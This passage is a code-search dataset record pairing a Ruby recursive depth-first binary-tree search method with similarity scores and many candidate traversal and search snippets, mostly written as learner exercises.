||= (i += 1)\n end\n end\n # end workaround removing depencency to order of Hash#each\n\n dfs_visit = Proc.new { |from|\n visited[from] = true\n timestamp[from] = [count += 1]\n ary = @graph[from].keys\n # begin workaround removing depencency to order of Hash#each\n if preference_of_nodes then\n ary = ary.sort_by { |node0| preference_of_nodes[node0] }\n end\n # end workaround removing depencency to order of Hash#each\n ary.each do |to|\n if visited[to]\n if timestamp[to].size > 1\n if timestamp[from].first < timestamp[to].first\n \t# forward edge (black)\n \tp \"#{from} -> #{to} : forward edge\" if $DEBUG\n \tforward_edges[from] = to\n else\n \t# cross edge (black)\n \tp \"#{from} -> #{to} : cross edge\" if $DEBUG\n \tcross_edges[from] = to\n end\n else\n # back edge (gray)\n p \"#{from} -> #{to} : back edge\" if $DEBUG\n back_edges[from] = to\n end\n else\n # tree edge (white)\n p \"#{from} -> #{to} : tree edge\" if $DEBUG\n tree_edges[to] = from\n dfs_visit.call(to)\n end\n end\n timestamp[from].push(count += 1)\n }\n\n ary = @graph.keys\n # begin workaround removing depencency to order of Hash#each\n if preference_of_nodes then\n ary = ary.sort_by { |node0| preference_of_nodes[node0] }\n end\n # end workaround removing depencency to order of Hash#each\n ary.each do |node|\n unless visited[node]\n dfs_visit.call(node)\n end\n end\n return timestamp, tree_edges, back_edges, cross_edges, forward_edges\n end", "def pre_order_traversal(tree=root, ordering=[])\n end", "def preorder_traversal(node=@root)\n return if (node == nil)\n preorder_traversal(node.left)\n preorder_traversal(node.right)\n puts node.value.to_s\n end", "def depth_first_search(find,tree)\n current = tree[0]\n answer = \"\"\n stack = [tree[0]]\n visited = [tree[0]]\n \n condition = false\n until condition == true\n connections = [current.find_right_child[0],current.find_left_child[0]].compact\n puts current.value\n puts connections.count\n puts \"---\"\n \n if current.value == find\n answer = current\n condition = true\n elsif visited.count == tree.count\n answer = nil\n condition = true\n else\n if connections.count < 1\n stack.pop\n current = stack[-1]\n elsif connections.count == 1\n if visited.include?(connections[0])\n stack.pop\n current = stack[-1]\n else\n current = connections[0]\n stack.push(current)\n visited.push(current)\n end\n else\n if visited.include?(connections[0]) && visited.include?(connections[1])\n stack.pop\n current = stack[-1]\n elsif !visited.include?(connections[0])\n current = connections[0]\n stack.push(current)\n visited.push(current)\n else\n current = connections[1]\n stack.push(current)\n visited.push(current)\n end\n end\n end\n end\n puts answer ? answer : \"Value not found!\"\n puts answer.value if answer != nil\nend", "def dfs(node)\n preorder, visited = [], []\n dfs_visit(node, visited, preorder)\n preorder\nend", "def depth_search(data_to_find, node)\n if data_to_find < node.data && node.left\n @depth += 1\n depth_search(data_to_find, node.left)\n elsif data_to_find > node.data && node.right\n @depth += 1\n depth_search(data_to_find, node.right)\n elsif data_to_find == node.data\n @depth += 1\n else\n @depth = 0\n end\n end", "def preorder(node)\n p node.value if node.value \n preorder(node.left) if node.left\n preorder(node.right) if node.right\nend", "def depth_first_search\n visited = {}\n timestamp = {}\n tree_edges = {}\n back_edges = {}\n cross_edges = {}\n forward_edges = {}\n count = 0\n\n dfs_visit = Proc.new { |from|\n\tvisited[from] = true\n\ttimestamp[from] = [count += 1]\n\t@graph[from].each_key do |to|\n\t if visited[to]\n\t if timestamp[to].size > 1\n\t if timestamp[from].first < timestamp[to].first\n\t\t# forward edge (black)\n\t\tp \"#{from} -> #{to} : forward edge\" if $DEBUG\n\t\tforward_edges[from] = to\n\t else\n\t\t# cross edge (black)\n\t\tp \"#{from} -> #{to} : cross edge\" if $DEBUG\n\t\tcross_edges[from] = to\n\t end\n\t else\n\t # back edge (gray)\n\t p \"#{from} -> #{to} : back edge\" if $DEBUG\n\t back_edges[from] = to\n\t end\n\t else\n\t # tree edge (white)\n\t p \"#{from} -> #{to} : tree edge\" if $DEBUG\n\t tree_edges[to] = from\n\t dfs_visit.call(to)\n\t end\n\tend\n\ttimestamp[from].push(count += 1)\n }\n\n @graph.each_key do |node|\n\tunless visited[node]\n\t dfs_visit.call(node)\n\tend\n end\n return timestamp, tree_edges, back_edges, cross_edges, forward_edges\n end", "def level_order_traversal\n nodes_to_visit = []\n visited_nodes = []\n \n nodes_to_visit.push(self)\n \n while !nodes_to_visit.empty?\n node_to_visit = nodes_to_visit.shift\n visited_nodes.push(node_to_visit.root_value)\n\n nodes_to_visit.push(node_to_visit.left) if node_to_visit.left\n nodes_to_visit.push(node_to_visit.right) if node_to_visit.right\n end\n\n visited_nodes\n end", "def inOrderTraversal( rootNode )\n return if rootNode == nil\n inOrderTraversal( rootNode.leftChild )\n puts rootNode.data\n inOrderTraversal( rootNode.rightChild )\n end", "def depth_first_search(tree, value, args = {})\r\n verbose = args.fetch(:verbose, false)\r\n return nil if tree == nil\r\n next_node = [tree]\r\n while !next_node.empty?\r\n current = next_node.pop\r\n if verbose\r\n puts \"current = #{current}\"\r\n puts \"head = #{next_node[0]}\"\r\n end\r\n # visited not strictly necessary for future proofs it \r\n if current.visited == false\r\n current.visited = true\r\n return current if current.value == value\r\n current.children.each { |child| next_node.push child if child } \r\n end\r\n end\r\n nil\r\n end", "def depth_first_search_pre_order(data)\n stack = [@root]\n node_match = nil\n match_found = false\n until stack.empty? || match_found || @root.nil?\n cur_node = stack.pop\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n end\n right = cur_node.right_child\n stack.push(right) unless right.nil?\n left = cur_node.left_child\n stack.push(left) unless left.nil?\n end\n return node_match\n end", "def preorder_traversal(root)\n visited = []\n traverse(root, visited)\n visited\nend", "def see_tree(tree)\n tree.each do |i|\n puts \"---------------\"\n puts \"Node: #{i.value}\"\n puts \"Parent: \" + i.find_parent[0].value.to_s if i.find_parent.count > 0\n puts \"Left Child: \" + i.find_left_child[0].value.to_s if i.find_left_child.count > 0\n puts \"Right Child: \" + i.find_right_child[0].value.to_s if i.find_right_child.count > 0\n end\nend", "def preorder_print(start, traversal)\n traversal\n end", "def depth_first_search(data)\n node = nil\n @list << @root if @root\n\n until @list.empty?\n # Get next node from the stack\n node = @list.pop\n puts \"Visiting node #{node.value}\" if @debug\n break if node.value == data\n # Push each child on the stack, making sure the left child\n # will be popped off the stack first (LIFO)\n @list << node.right if node.right\n @list << node.left if node.left\n end\n @list.clear # remove any remaining items from the stack\n\t node\n end", "def preorder_traversal_rec(root)\n res = []\n preorder_dfs(root, res)\n res\nend", "def print_preorder\n return \"Empty BST\" if is_empty\n\n stack = [@root]\n\n until stack.empty?\n current = stack.pop\n\n puts current.value\n\n stack << current.right unless current.right.nil?\n stack << current.left unless current.left.nil?\n end\n end", "def depth_first_search(node)\n return if node.nil?\n node.visit\n node.connections.each do |conn|\n depth_first_search(conn) unless conn.visited\n end\nend", "def DFT_pre_order_iterative(root)\n print '[\"I\", \"O\", \"L\", \"A\", \"G\", \"R\", \"H\", \"T\", \"M\"]' + \"\\n\"\n st = Stack.new\n if root == nil\n return\n end\n st.push(root)\n while !st.empty?\n root = st.pop\n print \"#{root.value}\\n\"\n if root.right\n st.push(root.right)\n end\n if root.left\n st.push(root.left)\n end\n end\n end", "def DFT_pre_order_recursive(root)\n if root == nil\n return\n end\n print \"#{root.value}\\n\"\n DFT_pre_order_recursive(root.left)\n DFT_pre_order_recursive(root.right)\n end", "def preOrder(root) # O(n)\n\n return nil if root == nil\n\n print \" #{root.value}\"\n preOrder(root.left)\n preOrder(root.right)\n\nend", "def pre_order_traverse(tree, array)\n if !tree.nil?\n array.append(tree.value)\n pre_order_traverse(tree.left, array)\n pre_order_traverse(tree.right, array)\n end\n \n return array\n\nend", "def preorder(current_node = root)\n return if current_node.nil?\n print \"#{current_node.value} \"\n inorder(current_node.left)\n inorder(current_node.right)\n end", "def in_order_traversal(tree=root, ordering=[])\n end", "def dfs_rec(tree, value, args = {})\r\n verbose = args.fetch(:verbose, false)\r\n return nil if tree == nil \r\n return nil if tree.visited == true\r\n tree.visited = true\r\n return tree if tree.value == value\r\n puts \"current = #{tree}\" if verbose\r\n left = dfs_rec(tree.children[0], value, args)\r\n return left if left != nil\r\n right = dfs_rec(tree.children[1], value, args)\r\n return right # if right != nil\r\n end", "def inOrderTraversal(node = @root)\n return if (node == nil)\n inOrderTraversal(node.left)\n puts node.value.to_s\n inOrderTraversal(node.right)\n\n\n end", "def inOrderTraversal(node = @root)\n return if (node == nil)\n inOrderTraversal(node.left)\n puts node.value.to_s\n inOrderTraversal(node.right)\n end", "def preorder(node)\n visit node \n left = preorder node.left_node if node.left_node \n right = preorder node.right_node if node.right_node\n p left ? left.value : nil \n p right ? right.value : nil\n p node.value\n puts '----'\n node\n end", "def printDepthFirst()\n # println(\"printDepthFirst\");\n # # // global fileCounter\n # @fileCounter = 0;\n # printRealDepthFirst(0,-1);\n # println(fileCounter+\" files\");\n end", "def preorder_traverse(root=@root)\n unless !root\n result = \"#{root.data}\"\n result << preorder_traverse(root.left) unless !root.left\n result << preorder_traverse(root.right) unless !root.right\n result\n end\n end", "def preorder\n preorder_traversal(@root, [])\n end", "def traverse(order=:bfs,&block)\n reset \n tree = @tree\n\n case order\n when :bfs\n traverse_bfs &block\n when :postorder\n walk(tree,:postorder,&block)\n when :preorder\n walk(tree,:preorder, &block)\n when :inorder\n raise ArgumentError unless tree.kind_of? BinaryTree\n walk(tree,order,&block)\n end\n\n return visited\n end", "def depth_first_search!(node)\n node.marked = true\n node.type = \"M\"\n node.adj.each do |n|\n if n.marked == false\n depth_first_search(n)\n end\n end\n end", "def traverse\n @result.clear\n @queue.clear\n\n @queue.enqueue(@node)\n @result.push @node\n\n\n while not @queue.empty?\n node = @queue.dequeue\n return @result unless node\n # puts \"Visiting node: #{node}\"\n return node if (@search and node==@search)\n node && node.children.each do |node|\n unless @result.include?(node)\n @result.push(node)\n @queue.enqueue(node)\n end\n end\n end\n return result\n end", "def preOrderTraversal(root)\n return nil if root == nil\n\n stack = [root]\n while !stack.empty?\n node = stack.pop\n print \" #{node.value}\"\n if node.right != nil\n stack.push(node.right)\n end\n if node.left != nil\n stack.push(node.left)\n end\n end\nend", "def depth_first_search node= self.root, value\n\t\tstack =[node]\n\n\t\twhile stack.length > 0\n\t\t\tcurrent = stack.pop\n\t\t\treturn \"Value #{value} found in #{current.to_s}\" if current.value == value\n\t\t\tstack.push(current.left) if current.left\n\t\t\tstack.push(current.right) if current.right\n\t\tend\n\tend", "def preorder(node)\n # 1->2->4->5->3->6\n if node\n print node.value.to_s + '->'\n preorder(node.left_child)\n preorder(node.right_child)\n end\n end", "def depth_of(data_to_find)\n @depth = 0\n if @head.nil?\n return @depth\n else\n depth_search(data_to_find, head)\n end\n return @depth\n end", "def DFT_in_order_recursive(root)\n if root == nil\n return\n end\n DFT_pre_order_recursive(root.left)\n print \"#{root.value}\\n\"\n DFT_pre_order_recursive(root.right)\n end", "def inorder_traversal(node=@root)\n return if (node==nil)\n inorder_traversal(node.left)\n puts node.value.to_s\n inorder_traversal(node.right)\n end", "def inorder(node)\n if node.left_child\n inorder(node.left_child)\n end\n puts node.value\n if node.right_child\n inorder(node.right_child)\n end\nend", "def pre_order_traversal\n nodes = []\n nodes.push(@root_value)\n nodes += @left.pre_order_traversal if @left\n nodes += @right.pre_order_traversal if @right\n nodes\n end", "def depth_first_search_recursive(source)\n visited.add(source)\n\n source.neighbors.each do |neighbor|\n unless visited.include?(neighbor)\n depth_first_search_recursive(neighbor)\n meta[neighbor] = source\n end\n end\n end", "def preorder_traverse node, &block\n block.call(node)\n if node.children.count > 0 then\n node.children.each do |child|\n preorder_traverse(child, &block)\n end\n end\n end", "def depth_first_graph(node, visited = [])\n if !visited.include? node\n visited.push(node)\n output = node.data.to_s + \" \"\n output += node.connections.map do |connection|\n depth_first_graph(connection, visited)\n end.join(\"\")\n end\n output\nend", "def depth_first_search(query)\n stack = [@tree]\n\n loop do\n# exit when empty stack\n return nil if stack.empty?\n\n# node is equal to top of stack\n node = stack.pop\n \n# return node if match\n return node if query == node.value\n\n# i think it is pushing every descendant of the parent?\n stack.push node.left_child if node.left_child != nil\n stack.push node.right_child if node.right_child != nil\n end\n end", "def depth_traversal(node, &block)\n yield node.value # print the current block\n\n # recurse down to the left child\n depth_traversal(node.left, &block) if node.left\n\n # recurse down to the right child\n depth_traversal(node.right, &block) if node.right\nend", "def dfs_tree_preorder(start, edges)\n require 'set'\n queue = [[start,nil]]\n visited = Set[start]\n while queue.size > 0\n f,ff = *(queue.pop) \n ts = edges[f].keys.reject{ |t| visited.member?(t) }\n yield(f, ff)\n ts.each{ |t| visited << t; queue << [t,f] }\n end\nend", "def in_order_traversal(node)\n\n while node\n\n #Left as far as possible\n while(node.left)\n node = node.left\n end\n\n print \"#{node.value} \"\n\n prev = node\n node = node.parent\n\n while node\n if node.left == prev\n print \"#{node.value} \"\n\n if node.right\n node = node.right\n break\n end\n end\n\n prev = node\n node = node.parent\n end\n\n end\nend", "def preorder(node)\n return if !node\n print node.value, \" \"\n preorder(node.left_child)\n preorder(node.right_child)\n end", "def traverse_bfs\n q = Queue.new\n q.push @tree\n \n loop do\n break if q.empty?\n node = q.shift\n if block_given?\n yield node\n else\n @visited << node.data\n end\n node.children.each{ |n| q.push n } if node.children\n end\n end", "def printPreOrder\n puts \"data: #{data}, left: #{left ? left.data : \"nil\"}, right: #{right ? right.data : \"nil\"}\"\n\n if !left.nil?\n left.printInOrder\n end\n\n if !right.nil?\n right.printInOrder\n end\n end", "def inorder_traversal_rec(root)\n res = []\n inorder_dfs(root, res)\n res\nend", "def level_order_traversal(node)\n h = height(node)\n (1..h).each do |n|\n print_given_level(node, n)\n end\nend", "def depth_first_search(target)\n stack = [@root]\n visited = []\n\n until stack.empty?\n node = stack[-1]\n visited << node\n return \"Found target: #{target} at node #{node}\" if node.value == target\n if node.left && !visited.include?(node.left)\n stack << node.left\n elsif node.right && !visited.include?(node.right)\n stack << node.right\n else\n stack.pop\n end\n end\n end", "def level_order\n explored = []\n queue = Queue.new\n explored.push(@root.value)\n queue << @root\n\n until queue.empty? do\n temp = queue.pop\n\n unless temp.left_node.nil? || explored.include?(temp.left_node.value)\n explored.push(temp.left_node.value)\n queue << temp.left_node\n end\n\n unless temp.right_node.nil? || explored.include?(temp.right_node.value)\n explored.push(temp.right_node.value)\n queue << temp.right_node\n end\n end\n\n return explored\n end", "def depth_first_search(v)\r\n if @root == nil\r\n puts \"Tree is empty\"\r\n end\r\n queue = [@root]\r\n current_node = @root\r\n while not queue.empty?\r\n current_node = queue[0]\r\n queue.unshift(current_node.left_child) unless current_node.left_child.nil?\r\n queue.unshift(current_node.right_child) unless current_node.right_child.nil?\r\n if current_node.value == v\r\n return \"Found at node \" + current_node.to_s\r\n end\r\n queue.shift\r\n end\r\n return \"Value not found.\"\r\n end", "def pre_order_traversal(current_node = @root)\n @accumulator = []\n pre_order_traversal_aux(current_node)\n @accumulator\n end", "def depth_first_recursion(v, visited)\n # Mark the current node as visited and print it\n visited[v] = true\n # print v.to_s + ' '\n\n head = @adjList[v]\n\n head.each_index do |index|\n n = head[index]\n depth_first_recursion(n, visited) unless visited[n]\n end\n end", "def visit_nodes\n # Run a depth-first traversal of the graph with a worklist and a\n # visited set.\n\n worklist = [@start]\n visited = Set.new\n until worklist.empty?\n node = worklist.pop\n if visited.add?(node)\n yield node\n worklist.push *node.inputs.nodes\n worklist.push *node.outputs.nodes\n end\n end\n end", "def print_level_order\n return \"Empty BST\" if is_empty\n\n queue = [@root]\n\n until queue.empty?\n current = queue.pop\n puts current.value\n\n queue << current.left unless current.left.nil?\n queue << current.right unless current.right.nil?\n end\n end", "def depth_first_search(tree, value)\n tgt_node = nil\n \n stack = Array(tree)\n \n while !stack.empty?\n cur_node = stack.pop\n \n\tif cur_node.value == value\n\t tgt_node = cur_node\n\t break\n\tend\n\t\n\tcur_node.children.reverse_each { |child| stack.push(child) unless child.nil? }\n end\n \n tgt_node\nend", "def print_in_order(node)\n if !node.nil?\n print_in_order(node.left)\n print node.val\n print_in_order(node.right)\n end\nend", "def in_order_traverse(tree, array)\n if !tree.nil?\n in_order_traverse(tree.left, array)\n array.append(tree.value)\n in_order_traverse(tree.right, array)\n end\n return array\n\n\nend", "def inOrder(root)\n return nil if root == nil\n\n inOrder(root.left)\n print \" #{root.value}\"\n inOrder(root.right)\nend", "def preorder_traverse(current_node = @root)\n preorder_array = []\n\n # Base case: reached child of a leaf node (nil)\n return [] if current_node.nil?\n\n preorder_array << current_node\n preorder_array += preorder_traverse(current_node.left)\n preorder_array += preorder_traverse(current_node.right)\n\n preorder_array\n end", "def inorder\n tree_data = []\n tree_data = inorder_traverse(@root, tree_data)\n end", "def dfs\n visited = {}\n vertexes.keys.each {|v| visited[v] = false}\n unvisited = find_first_unvisited visited\n search_results = []\n until unvisited.is_nothing?\n #find a depth first search tree and hash containing the order that each node is visited\n dpst = explore(unvisited.from_just)\n if dpst.is_nothing?\n return Nothing.new\n else\n dpst = dpst.from_just\n end\n if search_results.empty?\n search_results.push dpst\n else\n search_results.each_with_index do |result, i|\n tree = dpst[:tree]\n found = false\n result.each do |v|\n if tree[v] and result.length < tree.keys.length\n results[i] = dpst\n found = true\n break\n end\n end\n break if found\n end\n end\n # Mark each point in the path as visited\n dpst[:visit_order].each do |k|\n visited[k] = true\n end\n unvisited = find_first_unvisited visited\n end\n search_results\n end", "def topological_sort\n\t\tcount = size\n\t\t@explored_nodes = Array.new(count, false)\n\t\t@current_label = count\n\t\t@topological_order = Array.new(count, nil)\n\t\tcount.times do |label|\n\t\t\tdfs_topological_order(label) unless @explored_nodes[label]\n\t\tend\n\t\ttopological_order\n\tend", "def level_order_print(tree)\n unless tree\n return\n end\n\n nodes = [tree]\n current_line_count = 1\n next_line_count = 0\n\n while nodes.length != 0\n current_node = nodes.shift\n current_line_count -= 1\n print current_node.key.to_s + ' '\n if current_node.left_child\n nodes.push(current_node.left_child)\n next_line_count += 1\n end\n if current_node.right_child\n nodes.push(current_node.right_child)\n next_line_count += 1\n end\n if current_line_count == 0\n # finished printing current level\n puts ''\n current_line_count = next_line_count\n next_line_count = current_line_count\n end\n end\nend", "def post_order_traversal(tree=root, ordering=[])\n end", "def preorder(root)\n return 0 if root.nil?\n @red = root if root.val == @x\n @parent[root.left.val] = root.val if root.left\n @parent[root.right.val] = root.val if root.right\n @count[root.val] = preorder(root.left) + preorder(root.right) + 1\nend", "def inorder(node)\n return if !node\n inorder(node.left_child)\n print node.value, \" \"\n inorder(node.right_child)\n end", "def preorder_traversal root\n result = []\n\n result << root.val\n result << preorder_traversal(root.left) unless root.left.nil?\n result << preorder_traversal(root.right) unless root.right.nil?\n\n result\nend", "def dfs(target)\n return self if self.value == target\n # debugger\n self.children.each do |node|\n dfs(node)\n # if node.value == target\n # return node\n # else\n # node.dfs(target)\n # end\n end\n return nil if self.children.empty?\n p new_arr\n end", "def level_order_traversal(root_node)\n queue = Queue.new\n queue.enq root_node\n while(!queue.empty?)\n magic_node = queue.deq\n\n puts magic_node.value\n\n queue.enq(magic_node.left) unless magic_node.left.nil?\n\n queue.enq(magic_node.right) unless magic_node.right.nil?\n end \n end", "def DFS(root, target)\n ## base case: \n return nil if root.nil?\n return root if root.value == target\n ##indecutive step: \n ## DFS on the left side then DFS on the right side \n root.children.each do |child|\n search_result = DFS(child, target) ## better to save the actual value then check the value then return nil\n return search_result unless search_result.nil?\n end \n return nil\nend", "def inorder_traverse(node, data)\n return data if node.nil?\n inorder_traverse(node.left_child, data)\n data << node.value\n inorder_traverse(node.right_child, data)\n end", "def dfs(tree, target)\n\n node_stack = [ ]\n\n #push root\n node_stack.push(tree[0])\n\n # can also set current_node and do `while current_node`\n while node_stack.length > 0\n\n # pop first\n node = node_stack.pop\n\n # then do or look for something, generally w conditional\n if node == target\n return true\n else\n # seems multiple ways to do, but doing right before left\n # makes sense to me, even though most do left before right.\n # With my way, the left is pop'd first and you go down left\n # side first\n\n #### BELOW IS NOT RIGHT -- THERE HAS TO BE SOME RECURSSION HERE\n # This actually is starting to make sense: https://github.com/brianstorti/ruby-graph-algorithms/blob/master/depth_first_search/depth_first_search.rb\n #http://haozeng.github.io/blog/2014/01/05/trees-in-ruby/\n #https://github.com/breadoliveoilsalt/depth-first-search-lab-v-000/blob/solution/index.js\n if node.left\n node_stack.push(node.left)\n end\n if node.right\n node_stack.push(node.right)\n end\n end\n end\n\n return false\n\nend", "def preorder_traversal(root)\n stack = [root]\n result = []\n while stack.any?\n result << stack.pop\n stack.push(result[-1].right) if !result[-1].right.nil?\n stack.push(result[-1].left) if !result[-1].left.nil?\n end\n \n result.map { |x| x.val }\nend", "def print_BST_in_order(root)\n if root.nil?\n return\n end\n print_BST_in_order(root.left)\n print \"#{root.value} \"\n print_BST_in_order(root.right)\nend", "def depth_first_search(vis = DFSVisitor.new(self), &b)\n each_vertex do |u|\n unless vis.finished_vertex?(u)\n vis.handle_start_vertex(u)\n depth_first_visit(u, vis, &b)\n end\n end\n end", "def depth_search(node, proc)\n res = nil\n counter = 0\n number_of_children = node.children.length\n\n while counter < number_of_children\n return res if res\n\n child = node.children[counter]\n res = proc.call(child)\n return res if res\n\n res = depth_search(child, proc)\n counter += 1\n end\n res\n end", "def level_order_traversal\n array_to_be_string = []\n queue = []\n queue.push(@root)\n until queue.empty?\n current_node = queue.first\n array_to_be_string.push(current_node.data)\n queue.push(current_node.left_child) unless current_node.left_child.nil?\n queue.push(current_node.right_child) unless current_node.right_child.nil?\n queue.shift\n end\n array_to_be_string\n end", "def preorder\n tree_array = []\n if root.nil?\n return tree_array\n else\n root.preorder(tree_array)\n return tree_array\n end\n end", "def dfs(graph)\n visited = Hash.new\n\n graph.each do |vertex, _|\n visited[vertex] = Hash.new\n visited[vertex][:state] = \"not visited\"\n end\n\n # This is to enable passing by reference in the dfs_visit method, otherwise\n # simply having a variable for integer will get passed by value and does not\n # behave/increment as expected.\n order = Hash.new\n order[:time] = 0\n\n graph.each do |vertex, _|\n dfs_visit(graph, vertex, visited, order) unless visited[vertex][:state] == \"done\"\n end\n\n visited\nend", "def preorder\n # raise NotImplementedError\n return preorder_helper(@root, [])\n end", "def depth()\n #This is a stub, used for indexing\n end", "def pre_order_values(root, order = \"\")\n if root.nil?\n order.concat(\"X\") #placeholder to maintain tree structure\n return\n else\n order.concat(root.val.to_s)\n end\n pre_order_values(root.left, order)\n pre_order_values(root.right, order)\n\n order\nend", "def preorder\n return preorder_recursion(current = @root, tree = [])\n end", "def printInOrder\n if !left.nil?\n left.printInOrder\n end\n\n puts \"data: #{data}, left: #{left ? left.data : \"nil\"}, right: #{right ? right.data : \"nil\"}\"\n\n if !right.nil?\n right.printInOrder\n end\n end", "def depth\n @traversal_position.depth\n end", "def inorder(current_node = root)\n return if current_node.nil?\n inorder(current_node.left)\n print \"#{current_node.value} \"\n inorder(current_node.right)\n end", "def preorder_array(node)\n return if node == nil\n #store visited node data\n @preorder_result << node.data\n preorder_array(node.left)\n preorder_array(node.right)\n end", "def levelOrderTraversal(current_node = @root)\n \treturn \"Tree is empty\" if !current_node\n \tlevel = 1\n \tqueue = Array.new\n \tqueue.push current_node\n \tqueue.push '$' # To identify end of level\n \tp \"Level = #{level}\"\n \twhile queue.size != 1\n \t\ttop_element = queue.shift\n \t\tif top_element != '$'\n\t \t\tp top_element.value\n\t \t\tqueue.push top_element.left if top_element.left\n\t \t\tqueue.push top_element.right if top_element.right\n\t \telse\n\t \t\tlevel += 1\n\t \t\tp \"Level = #{level}\"\n\t \t\tqueue.push top_element\n\t \tend\n \tend\n \treturn level\n end", "def print_in_order\n return \"Empty BST\" if is_empty\n\n current = @root\n stack = []\n\n while current || !stack.empty?\n if current != nil\n stack.push(current)\n current = current.left\n elsif !stack.empty?\n current = stack.pop()\n puts current.value\n\n current = current.right\n end\n end\n end", "def breadth_traversal(top_node)\n # start with the first nodes\n nodes = [top_node]\n nodes_to_iterate = [top_node]\n\n # while we have more nodes to print\n while (!nodes_to_iterate.empty?)\n next_nodes = [] # start with an empty list\n # for each node we iterate over in this, find their children\n nodes_to_iterate.each do |n|\n # add the next nodes we iterate\n next_nodes.concat(n.children)\n end\n\n #\n nodes.concat(next_nodes)\n nodes_to_iterate = next_nodes\n end\n\n # print them out in order\n # nb: (this could be a nested structure so you could print out\n # each row on a separate line, which might be cool)\n nodes.each {|n| yield n.value }\nend" ]
[ "0.7068602", "0.6529732", "0.6499556", "0.6468799", "0.64642525", "0.64460623", "0.6432414", "0.6365465", "0.63020855", "0.62877464", "0.62871575", "0.6270008", "0.6225689", "0.6198207", "0.6187993", "0.6116962", "0.6110345", "0.6089103", "0.60853326", "0.6075992", "0.6073185", "0.6068984", "0.60591185", "0.60577387", "0.604982", "0.6046191", "0.6043759", "0.6037036", "0.60369855", "0.60329944", "0.6020732", "0.60148305", "0.60081124", "0.6003417", "0.59893304", "0.59735054", "0.5950508", "0.5950468", "0.59361035", "0.5909368", "0.5905852", "0.59018266", "0.58622307", "0.58621824", "0.5856542", "0.58521724", "0.58433807", "0.5840284", "0.5839642", "0.5823897", "0.579642", "0.57960683", "0.57718545", "0.57677984", "0.5762934", "0.574404", "0.5720672", "0.5703042", "0.57020533", "0.56907314", "0.56632066", "0.56348854", "0.5627451", "0.5625685", "0.5623408", "0.5622253", "0.56220114", "0.5619371", "0.56149375", "0.56047183", "0.56035006", "0.5598407", "0.55935156", "0.55865455", "0.5584688", "0.55800045", "0.5579494", "0.55777663", "0.55721396", "0.556117", "0.55534476", "0.5551385", "0.5547815", "0.5544686", "0.5543801", "0.5528673", "0.5526553", "0.55205435", "0.5518353", "0.5514791", "0.55140376", "0.55133295", "0.5512242", "0.55116975", "0.5510389", "0.5507141", "0.5504239", "0.5502592", "0.55015665", "0.54962856" ]
0.8022904
0
Recursive PreOrder depthfirst search (Parent > Left Child > Right Child) Returns, from the binary tree, the node which contains 'data' Returns 'nil' if no match is found, or if tree is empty (Root = nil). Note: Handles case where data searched for and tree are not the same type
def dfs_rec(data, cur_node = @root) node_match = nil # no match possible if node is 'nil' unless cur_node.nil? # check for match if cur_node.value == data node_match = cur_node else # check for matches along each child path ('nil' returned = no match found) unless cur_node.left_child.nil? left_match = dfs_rec(data, cur_node.left_child) node_match = left_match unless left_match.nil? end unless cur_node.right_child.nil? right_match = dfs_rec(data, cur_node.right_child) node_match = right_match unless right_match.nil? end end end return node_match end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def depth_first_search_pre_order(data)\n stack = [@root]\n node_match = nil\n match_found = false\n until stack.empty? || match_found || @root.nil?\n cur_node = stack.pop\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n end\n right = cur_node.right_child\n stack.push(right) unless right.nil?\n left = cur_node.left_child\n stack.push(left) unless left.nil?\n end\n return node_match\n end", "def find(root, data)\n node = root\n if !root.nil? && root.title != data # gracefully handle nil, skips if match\n if !root.left.nil? #if left child exists\n node = find(root.left, data) # recursive left as root\n elsif !root.right.nil?\n node = find(root.right, data)\n else\n node = nil # if end of the tree\n end\n end\n return node\n end", "def find(root, data)\n # if data is nil\n if data == nil\n return nil\n end\n\n if root.title == data\n return root\n end\n\n found_node = nil\n\n unless root.left.nil?\n found_node = find(root.left, data)\n end\n\n unless found_node || root.right.nil?\n found_node = find(root.right, data)\n end\n #What happens when we encounter a leaf node, without siblings, at the very left of the tree?\n\n return found_node\n end", "def depth_first_search(data)\n node = nil\n @list << @root if @root\n\n until @list.empty?\n # Get next node from the stack\n node = @list.pop\n puts \"Visiting node #{node.value}\" if @debug\n break if node.value == data\n # Push each child on the stack, making sure the left child\n # will be popped off the stack first (LIFO)\n @list << node.right if node.right\n @list << node.left if node.left\n end\n @list.clear # remove any remaining items from the stack\n\t node\n end", "def find(root, data)\n if data < root\n find( root, node.left)\n elsif data > root\n find( root, node.right)\n else\n return node\n end\n end", "def find(root, data)\n # if data is nil\n if data == nil\n return nil\n end\n\n if root.title == data\n return root\n end\n\n found_node = nil\n\n unless root.left.nil?\n found_node = find(root.left, data)\n end\n\n unless found_node || root.right.nil?\n found_node = find(root.right, data)\n end\n\n return found_node\n end", "def find(root, data)\n if root.value == data\n return root\n end\n\n if root.left != nil\n left = find(root.left, data)\n if left != nil\n return left\n end\n end\n\n if root.right != nil\n right = find(root.right, data)\n if right != nil\n return right\n end\n end\n end", "def find(root, data) #like a stack\n if data === nil #if data is nil\n return nil\n elsif root.title === data #if root matches data\n return root\n elsif root.title != data && root.left === nil #if root is dif from data and left is empty\n if root.right === data\n return root.right\n elsif root.right === nil\n return nil\n else\n find(root.right, data)\n end\n elsif root.title != data && root.left != nil #if root is dif from data and left is not empty\n if root.left === data\n return root.left\n else\n find(root.left, data)\n end\n end\n end", "def find(root, data)\n if root == nil || data == nil\n nil\n else\n if root.title == data\n root\n # Uses recursion to move down left, then right side of tree\n elsif root.left != nil\n find(root.left, data)\n elsif root.right != nil\n find(root.right, data)\n end\n end\n end", "def find(root, data)\n return nil if data === nil\n\n if root.title === data\n return root\n elsif root.left\n find(root.left, data)\n else\n find(root.right, data)\n end\n end", "def find(root, data)\n return if data == nil || root == nil\n\n if root.title == data\n @searched_node = root\n end\n\n if root.left\n find(root.left, data)\n end\n if root.right\n find(root.right, data)\n end\n\n return @searched_node\n end", "def find(root, data)\n current_node = root\n if current_node.title == data\n return current_node\n elsif current_node.left != nil\n find(current_node.left, data)\n elsif current_node.right != nil\n find(current_node.right, data)\n end\n\n end", "def find(root, data)\n return root if root.title == data\n if root.right\n found = find(root.right, data)\n end\n if root.left && found.nil?\n found = find(root.left, data)\n end\n found ? found : nil\n end", "def find(root, data)\n if @root != nil\n queue = Queue.new\n queue.enq(@root)\n result = nil\n while !queue.empty?\n node = queue.deq\n return node if node.title == data\n queue.enq(node.left) if node.left\n queue.enq(node.right) if node.right\n end\n end\n\n end", "def find(root, data)\n if root.nil?\n nil\n elsif root.title == data\n root\n 